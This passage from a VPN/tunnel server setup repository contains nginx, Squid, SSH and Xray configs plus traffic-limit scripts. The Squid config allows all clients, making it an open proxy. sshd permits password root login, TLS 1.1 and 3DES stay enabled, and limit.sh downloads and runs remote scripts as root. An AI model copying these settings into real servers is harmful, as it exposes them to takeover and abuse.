set_real_ip_from 204.246.172.0/24; 114 | set_real_ip_from 18.172.0.0/15; 115 | set_real_ip_from 120.52.39.128/27; 116 | set_real_ip_from 118.193.97.64/26; 117 | set_real_ip_from 223.71.71.96/27; 118 | set_real_ip_from 18.154.0.0/15; 119 | set_real_ip_from 54.240.128.0/18; 120 | set_real_ip_from 205.251.250.0/23; 121 | set_real_ip_from 180.163.57.0/25; 122 | set_real_ip_from 52.46.0.0/18; 123 | set_real_ip_from 223.71.11.0/27; 124 | set_real_ip_from 52.82.128.0/19; 125 | set_real_ip_from 54.230.0.0/17; 126 | set_real_ip_from 54.230.128.0/18; 127 | set_real_ip_from 54.239.128.0/18; 128 | set_real_ip_from 130.176.224.0/20; 129 | set_real_ip_from 36.103.232.128/26; 130 | set_real_ip_from 52.84.0.0/15; 131 | set_real_ip_from 143.204.0.0/16; 132 | set_real_ip_from 144.220.0.0/16; 133 | set_real_ip_from 120.52.153.192/26; 134 | set_real_ip_from 119.147.182.0/25; 135 | set_real_ip_from 120.232.236.0/25; 136 | set_real_ip_from 54.182.0.0/16; 137 | set_real_ip_from 58.254.138.128/26; 138 | set_real_ip_from 120.253.245.192/27; 139 | set_real_ip_from 54.239.192.0/19; 140 | set_real_ip_from 18.68.0.0/16; 141 | set_real_ip_from 18.64.0.0/14; 142 | set_real_ip_from 120.52.12.64/26; 143 | set_real_ip_from 99.84.0.0/16; 144 | set_real_ip_from 130.176.192.0/19; 145 | set_real_ip_from 52.124.128.0/17; 146 | set_real_ip_from 204.246.164.0/22; 147 | set_real_ip_from 13.35.0.0/16; 148 | set_real_ip_from 204.246.174.0/23; 149 | set_real_ip_from 36.103.232.0/25; 150 | set_real_ip_from 119.147.182.128/26; 151 | set_real_ip_from 118.193.97.128/25; 152 | set_real_ip_from 120.232.236.128/26; 153 | set_real_ip_from 204.246.176.0/20; 154 | set_real_ip_from 65.8.0.0/16; 155 | set_real_ip_from 65.9.0.0/17; 156 | set_real_ip_from 108.138.0.0/15; 157 | set_real_ip_from 120.253.241.160/27; 158 | set_real_ip_from 64.252.64.0/18; 159 | set_real_ip_from 13.113.196.64/26; 160 | set_real_ip_from 13.113.203.0/24; 161 | set_real_ip_from 52.199.127.192/26; 162 | set_real_ip_from 13.124.199.0/24; 163 | set_real_ip_from 3.35.130.128/25; 164 | set_real_ip_from 52.78.247.128/26; 165 | set_real_ip_from 13.233.177.192/26; 166 | set_real_ip_from 15.207.13.128/25; 167 | set_real_ip_from 15.207.213.128/25; 168 | set_real_ip_from 52.66.194.128/26; 169 | set_real_ip_from 13.228.69.0/24; 170 | set_real_ip_from 52.220.191.0/26; 171 | set_real_ip_from 13.210.67.128/26; 172 | set_real_ip_from 13.54.63.128/26; 173 | set_real_ip_from 99.79.169.0/24; 174 | set_real_ip_from 18.192.142.0/23; 175 | set_real_ip_from 35.158.136.0/24; 176 | set_real_ip_from 52.57.254.0/24; 177 | set_real_ip_from 13.48.32.0/24; 178 | set_real_ip_from 18.200.212.0/23; 179 | set_real_ip_from 52.212.248.0/26; 180 | set_real_ip_from 3.10.17.128/25; 181 | set_real_ip_from 3.11.53.0/24; 182 | set_real_ip_from 52.56.127.0/25; 183 | set_real_ip_from 15.188.184.0/24; 184 | set_real_ip_from 52.47.139.0/24; 185 | set_real_ip_from 18.229.220.192/26; 186 | set_real_ip_from 54.233.255.128/26; 187 | set_real_ip_from 3.231.2.0/25; 188 | set_real_ip_from 3.234.232.224/27; 189 | set_real_ip_from 3.236.169.192/26; 190 | set_real_ip_from 3.236.48.0/23; 191 | set_real_ip_from 34.195.252.0/24; 192 | set_real_ip_from 34.226.14.0/24; 193 | set_real_ip_from 13.59.250.0/26; 194 | set_real_ip_from 18.216.170.128/25; 195 | set_real_ip_from 3.128.93.0/24; 196 | set_real_ip_from 3.134.215.0/24; 197 | set_real_ip_from 52.15.127.128/26; 198 | set_real_ip_from 3.101.158.0/23; 199 | set_real_ip_from 52.52.191.128/26; 200 | set_real_ip_from 34.216.51.0/25; 201 | set_real_ip_from 34.223.12.224/27; 202 | set_real_ip_from 34.223.80.192/26; 203 | set_real_ip_from 35.162.63.192/26; 204 | set_real_ip_from 35.167.191.128/26; 205 | set_real_ip_from 44.227.178.0/24; 206 | set_real_ip_from 44.234.108.128/25; 207 | set_real_ip_from 44.234.90.252/30; 208 | set_real_ip_from 204.93.240.0/24; 209 | set_real_ip_from 204.93.177.0/24; 210 | set_real_ip_from 199.27.128.0/21; 211 | set_real_ip_from 173.245.48.0/20; 212 | set_real_ip_from 103.21.244.0/22; 213 | set_real_ip_from 103.22.200.0/22; 214 | set_real_ip_from 103.31.4.0/22; 215 | set_real_ip_from 141.101.64.0/18; 216 | set_real_ip_from 108.162.192.0/18; 217 | set_real_ip_from 190.93.240.0/20; 218 | set_real_ip_from 188.114.96.0/20; 219 | set_real_ip_from 197.234.240.0/22; 220 | set_real_ip_from 198.41.128.0/17; 221 | real_ip_header CF-Connecting-IP; 222 | 223 | include /etc/nginx/conf.d/*.conf; 224 | } 225 | -------------------------------------------------------------------------------- /config/squid.conf.bak: -------------------------------------------------------------------------------- 1 | # DNS Configuration 2 | dns_v4_first on 3 | dns_nameservers 174.138.21.128 4 | max_filedescriptors 65535 5 | 6 | # Squid Configuration 7 | acl manager proto cache_object 8 | acl localhost src 127.0.0.1/32 9 | acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 10 | acl SSL_ports port 442 11 | acl Safe_ports port 80 12 | acl Safe_ports port 21 13 | acl Safe_ports port 443 14 | acl Safe_ports port 70 15 | acl Safe_ports port 210 16 | acl Safe_ports port 1025-65535 17 | acl Safe_ports port 280 18 | acl Safe_ports port 488 19 | acl Safe_ports port 591 20 | acl Safe_ports port 777 21 | # acl SSL_ports port 1-65535 22 | # acl Safe_ports port 1-65535 23 | acl CONNECT method CONNECT 24 | 25 | # http_access allow Configuration 26 | http_access allow manager localhost 27 | http_access deny manager 28 | http_access allow localhost 29 | http_port 3128 30 | http_access allow all 31 | coredump_dir /etc/squid 32 | refresh_pattern ^ftp: 1440 20% 10080 33 | refresh_pattern ^gopher: 1440 0% 1440 34 | refresh_pattern -i (/cgi-bin/|\?) 0 0% 0 35 | refresh_pattern . 0 20% 4320 36 | 37 | cache_dir ufs /var/log/squid/cache 512 16 256 38 | -------------------------------------------------------------------------------- /config/squid.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NevermoreSSH/VVV/c845f2cc88e133d38d0da8326964286f5a818588/config/squid.zip -------------------------------------------------------------------------------- /config/sshd_config: -------------------------------------------------------------------------------- 1 | # $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $ 2 | 3 | # This is the sshd server system-wide configuration file. See 4 | # sshd_config(5) for more information. 5 | 6 | # This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin 7 | 8 | # The strategy used for options in the default sshd_config shipped with 9 | # OpenSSH is to specify options with their default value where 10 | # possible, but leave them commented. Uncommented options override the 11 | # default value. 12 | 13 | Port 22 14 | Port 3369 15 | Port 2269 16 | Port 169 17 | Port 99 18 | #AddressFamily any 19 | #ListenAddress 0.0.0.0 20 | #ListenAddress :: 21 | 22 | #HostKey /etc/ssh/ssh_host_rsa_key 23 | #HostKey /etc/ssh/ssh_host_ecdsa_key 24 | #HostKey /etc/ssh/ssh_host_ed25519_key 25 | 26 | # Ciphers and keying 27 | #RekeyLimit default none 28 | 29 | # Logging 30 | #SyslogFacility AUTH 31 | #LogLevel INFO 32 | 33 | # Authentication: 34 | 35 | #LoginGraceTime 2m 36 | PermitRootLogin yes 37 | #StrictModes yes 38 | #MaxAuthTries 6 39 | #MaxSessions 10 40 | 41 | #PubkeyAuthentication yes 42 | 43 | # Expect .ssh/authorized_keys2 to be disregarded by default in future. 44 | #AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 45 | 46 | #AuthorizedPrincipalsFile none 47 | 48 | #AuthorizedKeysCommand none 49 | #AuthorizedKeysCommandUser nobody 50 | 51 | # For this to work you will also need host keys in /etc/ssh/ssh_known_hosts 52 | #HostbasedAuthentication no 53 | # Change to yes if you don't trust ~/.ssh/known_hosts for 54 | # HostbasedAuthentication 55 | #IgnoreUserKnownHosts no 56 | # Don't read the user's ~/.rhosts and ~/.shosts files 57 | #IgnoreRhosts yes 58 | 59 | # To disable tunneled clear text passwords, change to no here! 60 | PasswordAuthentication yes 61 | #PermitEmptyPasswords no 62 | 63 | # Change to yes to enable challenge-response passwords (beware issues with 64 | # some PAM modules and threads) 65 | ChallengeResponseAuthentication no 66 | 67 | # Kerberos options 68 | #KerberosAuthentication no 69 | #KerberosOrLocalPasswd yes 70 | #KerberosTicketCleanup yes 71 | #KerberosGetAFSToken no 72 | 73 | # GSSAPI options 74 | #GSSAPIAuthentication no 75 | #GSSAPICleanupCredentials yes 76 | #GSSAPIStrictAcceptorCheck yes 77 | #GSSAPIKeyExchange no 78 | 79 | # Set this to 'yes' to enable PAM authentication, account processing, 80 | # and session processing. If this is enabled, PAM authentication will 81 | # be allowed through the ChallengeResponseAuthentication and 82 | # PasswordAuthentication. Depending on your PAM configuration, 83 | # PAM authentication via ChallengeResponseAuthentication may bypass 84 | # the setting of "PermitRootLogin without-password". 85 | # If you just want the PAM account and session checks to run without 86 | # PAM authentication, then enable this but set PasswordAuthentication 87 | # and ChallengeResponseAuthentication to 'no'. 88 | UsePAM yes 89 | 90 | #AllowAgentForwarding yes 91 | AllowTcpForwarding yes 92 | #GatewayPorts no 93 | X11Forwarding yes 94 | #X11DisplayOffset 10 95 | #X11UseLocalhost yes 96 | #PermitTTY yes 97 | PrintMotd no 98 | #PrintLastLog yes 99 | #TCPKeepAlive yes 100 | #UseLogin no 101 | #PermitUserEnvironment no 102 | #Compression delayed 103 | #ClientAliveInterval 0 104 | #ClientAliveCountMax 3 105 | #UseDNS no 106 | #PidFile /var/run/sshd.pid 107 | #MaxStartups 10:30:100 108 | #PermitTunnel no 109 | #ChrootDirectory none 110 | #VersionAddendum none 111 | 112 | # no default banner path 113 | Banner /etc/banner 114 | 115 | # Allow client to pass locale environment variables 116 | AcceptEnv LANG LC_* 117 | 118 | # override default of no subsystems 119 | Subsystem sftp /usr/lib/openssh/sftp-server 120 | 121 | # Example of overriding settings on a per-user basis 122 | #Match User anoncvs 123 | # X11Forwarding no 124 | # AllowTcpForwarding no 125 | # PermitTTY no 126 | # ForceCommand cvs server 127 | # 128 | # Google Compute Engine times out connections after 10 minutes of inactivity. 129 | # Keep alive ssh connections by sending a packet every 2 minutes. 130 | ClientAliveInterval 420 131 | ClientAliveInterval 120 132 | 133 | #TrustedUserCAKeys /etc/ssh/lightsail_instance_ca.pub 134 | # 135 | Banner /etc/issue.net 136 | AllowTcpForwarding yes 137 | -------------------------------------------------------------------------------- /config/xray.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 18020 proxy_protocol so_keepalive=on reuseport; 3 | listen [::]:18020 proxy_protocol so_keepalive=on reuseport; 4 | listen 443 ssl http2 reuseport; 5 | listen [::]:443 http2 reuseport; 6 | ssl_certificate /etc/xray/xray.crt; 7 | ssl_certificate_key /etc/xray/xray.key; 8 | ssl_ciphers EECDH+CHACHA20:EECDH+CHACHA20-draft:EECDH+ECDSA+AES128:EECDH+aRSA+AES128:RSA+AES128:EECDH+ECDSA+AES256:EECDH+aRSA+AES256:RSA+AES256:EECDH+ECDSA+3DES:EECDH+aRSA+3DES:RSA+3DES:!MD5; 9 | ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3; 10 | server_name xxx; 11 | autoindex on; 12 | 13 | access_log /dev/null; 14 | error_log /dev/null; 15 | location /vless { 16 | if ($http_upgrade != "Upgrade") { 17 | rewrite /(.*) /vless break; 18 | } 19 | proxy_redirect off; 20 | proxy_pass http://127.0.0.1:10001; 21 | proxy_http_version 1.1; 22 | proxy_set_header Upgrade $http_upgrade; 23 | proxy_set_header Connection "upgrade"; 24 | proxy_set_header Host $host; 25 | proxy_set_header X-Real-IP $remote_addr; 26 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 27 | } 28 | location / { 29 | if ($http_upgrade != "Upgrade") { 30 | rewrite /(.*) /vmess break; 31 | } 32 | proxy_redirect off; 33 | proxy_pass http://127.0.0.1:10002; 34 | proxy_http_version 1.1; 35 | proxy_set_header Upgrade $http_upgrade; 36 | proxy_set_header Connection "upgrade"; 37 | proxy_set_header Host $host; 38 | proxy_set_header X-Real-IP $remote_addr; 39 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 40 | } 41 | location /trojan-ws { 42 | if ($http_upgrade != "Upgrade") { 43 | rewrite /(.*) /trojan-ws break; 44 | } 45 | proxy_redirect off; 46 | proxy_pass http://127.0.0.1:10003; 47 | proxy_http_version 1.1; 48 | proxy_set_header Upgrade $http_upgrade; 49 | proxy_set_header Connection "upgrade"; 50 | proxy_set_header Host $host; 51 | proxy_set_header X-Real-IP $remote_addr; 52 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 53 | } 54 | location /ss-ws { 55 | if ($http_upgrade != "Upgrade") { 56 | rewrite /(.*) /ss-ws break; 57 | } 58 | proxy_redirect off; 59 | proxy_pass http://127.0.0.1:10004; 60 | proxy_http_version 1.1; 61 | proxy_set_header Upgrade $http_upgrade; 62 | proxy_set_header Connection "upgrade"; 63 | proxy_set_header Host $host; 64 | proxy_set_header X-Real-IP $remote_addr; 65 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 66 | } 67 | location ^~ /vless-grpc 68 | { 69 | proxy_redirect off; 70 | grpc_set_header X-Real-IP \$remote_addr; 71 | grpc_set_header X-Forwarded-For \$proxy_add_x_forwarded_for; 72 | grpc_set_header Host \$http_host; 73 | grpc_pass grpc://127.0.0.1:10005; 74 | } 75 | location ^~ /vmess-grpc 76 | { 77 | proxy_redirect off; 78 | grpc_set_header X-Real-IP \$remote_addr; 79 | grpc_set_header X-Forwarded-For \$proxy_add_x_forwarded_for; 80 | grpc_set_header Host \$http_host; 81 | grpc_pass grpc://127.0.0.1:10006; 82 | } 83 | 84 | location ^~ /trojan-grpc 85 | { 86 | proxy_redirect off; 87 | grpc_set_header X-Real-IP \$remote_addr; 88 | grpc_set_header X-Forwarded-For \$proxy_add_x_forwarded_for; 89 | grpc_set_header Host \$http_host; 90 | grpc_pass grpc://127.0.0.1:10007; 91 | } 92 | location ^~ /ss-grpc 93 | { 94 | proxy_redirect off; 95 | grpc_set_header X-Real-IP \$remote_addr; 96 | grpc_set_header X-Forwarded-For \$proxy_add_x_forwarded_for; 97 | grpc_set_header Host \$http_host; 98 | grpc_pass grpc://127.0.0.1:10008; 99 | 100 | } 101 | } 102 | server { 103 | listen 10030 proxy_protocol so_keepalive=on reuseport; 104 | listen [::]:10030 proxy_protocol so_keepalive=on reuseport; 105 | server_name xxx; 106 | location / { 107 | if ($http_upgrade != "Upgrade") { 108 | rewrite /(.*) /ssh-ws break; 109 | } 110 | proxy_redirect off; 111 | proxy_pass http://127.0.0.1:10015; 112 | proxy_http_version 1.1; 113 | proxy_set_header Upgrade $http_upgrade; 114 | proxy_set_header Connection "upgrade"; 115 | proxy_set_header Host $host; 116 | proxy_set_header X-Real-IP $remote_addr; 117 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 118 | } 119 | } 120 | 121 | server { 122 | listen 10040 proxy_protocol so_keepalive=on reuseport; 123 | listen [::]:10040 proxy_protocol so_keepalive=on reuseport; 124 | server_name xxx; 125 | autoindex on; 126 | location / { 127 | if ($http_upgrade != "Upgrade") { 128 | rewrite /(.*) /ovpn break; 129 | } 130 | proxy_redirect off; 131 | proxy_pass http://127.0.0.1:10012; 132 | proxy_http_version 1.1; 133 | proxy_set_header Upgrade $http_upgrade; 134 | proxy_set_header Connection "upgrade"; 135 | proxy_set_header Host $host; 136 | proxy_set_header X-Real-IP $remote_addr; 137 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 138 | } 139 | } 140 | server { 141 | listen 81 ssl http2 reuseport; 142 | ssl_certificate /etc/xray/xray.crt; 143 | ssl_certificate_key /etc/xray/xray.key; 144 | ssl_ciphers EECDH+CHACHA20:EECDH+CHACHA20-draft:EECDH+ECDSA+AES128:EECDH+aRSA+AES128:RSA+AES128:EECDH+ECDSA+AES256:EECDH+aRSA+AES256:RSA+AES256:EECDH+ECDSA+3DES:EECDH+aRSA+3DES:RSA+3DES:!MD5; 145 | ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3; 146 | root /var/www/html; 147 | } 148 | -------------------------------------------------------------------------------- /debian.deb.txt: -------------------------------------------------------------------------------- 1 | # Source: Caddy 2 | # Site: https://github.com/caddyserver/caddy 3 | # Repository: Caddy / stable 4 | # Description: Fast, multi-platform web server with automatic HTTPS 5 | 6 | 7 | deb [signed-by=/usr/share/keyrings/caddy-stable-archive-keyring.gpg] https://dl.cloudsmith.io/public/caddy/stable/deb/debian any-version main 8 | 9 | deb-src [signed-by=/usr/share/keyrings/caddy-stable-archive-keyring.gpg] https://dl.cloudsmith.io/public/caddy/stable/deb/debian any-version main 10 | -------------------------------------------------------------------------------- /gpg.key: -------------------------------------------------------------------------------- 1 | -----BEGIN PGP PUBLIC KEY BLOCK----- 2 | Version: GnuPG v2 3 | 4 | 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 62 | A5zVwuXbvH6GHaZJVHUrII6w8rjimo5r 63 | =e4lF 64 | -----END PGP PUBLIC KEY BLOCK----- 65 | -------------------------------------------------------------------------------- /limit/limit.sh: -------------------------------------------------------------------------------- 1 | REPO="https://raw.githubusercontent.com/NevermoreSSH/VVV/main/" 2 | wget -q -O /etc/systemd/system/limitvmess.service "${REPO}limit/limitvmess.service" && chmod +x limitvmess.service >/dev/null 2>&1 3 | wget -q -O /etc/systemd/system/limitvless.service "${REPO}limit/limitvless.service" && chmod +x limitvless.service >/dev/null 2>&1 4 | wget -q -O /etc/systemd/system/limittrojan.service "${REPO}limit/limittrojan.service" && chmod +x limittrojan.service >/dev/null 2>&1 5 | wget -q -O /etc/systemd/system/limitshadowsocks.service "${REPO}limit/limitshadowsocks.service" && chmod +x limitshadowsocks.service >/dev/null 2>&1 6 | wget -q -O /etc/xray/limit.vmess "${REPO}limit/vmess" >/dev/null 2>&1 7 | wget -q -O /etc/xray/limit.vless "${REPO}limit/vless" >/dev/null 2>&1 8 | wget -q -O /etc/xray/limit.trojan "${REPO}limit/trojan" >/dev/null 2>&1 9 | wget -q -O /etc/xray/limit.shadowsocks "${REPO}limit/shadowsocks" >/dev/null 2>&1 10 | chmod +x /etc/xray/limit.vmess 11 | chmod +x /etc/xray/limit.vless 12 | chmod +x /etc/xray/limit.trojan 13 | chmod +x /etc/xray/limit.shadowsocks 14 | systemctl daemon-reload 15 | systemctl enable --now limitvmess 16 | systemctl enable --now limitvless 17 | systemctl enable --now limittrojan 18 | # systemctl enable limitshadowsocks 19 | # systemctl start limitvmess 20 | # systemctl start limitvless 21 | # systemctl start limittrojan 22 | # systemctl start limitshadowsocks 23 | # systemctl restart limitvmess 24 | # systemctl restart limitvless 25 | # systemctl restart limittrojan 26 | # systemctl restart limitshadowsocks 27 | -------------------------------------------------------------------------------- /limit/limitshadowsocks.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Limit Usage Xray Service 3 | Documentation=NEVERMORESSH 4 | After=syslog.target network-online.target 5 | 6 | [Service] 7 | User=root 8 | NoNewPrivileges=true 9 | ExecStart=/etc/xray/limit.shadowsocks 10 | 11 | [Install] 12 | WantedBy=multi-user.target 13 | -------------------------------------------------------------------------------- /limit/limittrojan.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Limit Usage Xray Service 3 | Documentation=NEVERMORESSH 4 | After=syslog.target network-online.target 5 | 6 | [Service] 7 | User=root 8 | NoNewPrivileges=true 9 | ExecStart=/etc/xray/limit.trojan 10 | 11 | [Install] 12 | WantedBy=multi-user.target 13 | -------------------------------------------------------------------------------- /limit/limitvless.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Limit Usage Xray Service 3 | Documentation=NEVERMORESSH 4 | After=syslog.target network-online.target 5 | 6 | [Service] 7 | User=root 8 | NoNewPrivileges=true 9 | ExecStart=/etc/xray/limit.vless 10 | 11 | [Install] 12 | WantedBy=multi-user.target 13 | -------------------------------------------------------------------------------- /limit/limitvmess.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Limit Usage Xray Service 3 | Documentation=NEVERMORESSH 4 | After=syslog.target network-online.target 5 | 6 | [Service] 7 | User=root 8 | NoNewPrivileges=true 9 | ExecStart=/etc/xray/limit.vmess 10 | 11 | [Install] 12 | WantedBy=multi-user.target 13 | -------------------------------------------------------------------------------- /limit/shadowsocks: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | while true; do 3 | sleep 30 4 | data=($(cat /etc/xray/config.json | grep '^###' | cut -d ' ' -f 2 | sort | uniq)) 5 | if [[ ! -e /etc/limit/shadowsocks ]]; then 6 | mkdir -p /etc/limit/shadowsocks 7 | fi 8 | for user in ${data[@]} 9 | do 10 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" >& /tmp/${user} 11 | getThis=$(cat /tmp/${user} | awk '{print $1}'); 12 | if [[ ${getThis} != "failed" ]]; then 13 | downlink=$(xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" | grep -w "value" | awk '{print $2}' | cut -d '"' -f2); 14 | if [ -e /etc/limit/shadowsocks/${user} ]; then 15 | plus2=$(cat /etc/limit/shadowsocks/${user}); 16 | if [[ ${#plus2} -gt 0 ]]; then 17 | plus3=$(( ${downlink} + ${plus2} )); 18 | echo "${plus3}" > /etc/limit/shadowsocks/"${user}" 19 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 20 | else 21 | echo "${downlink}" > /etc/limit/shadowsocks/"${user}" 22 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 23 | fi 24 | else 25 | echo "${downlink}" > /etc/limit/shadowsocks/"${user}" 26 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 27 | fi 28 | else 29 | echo "" 30 | fi 31 | done 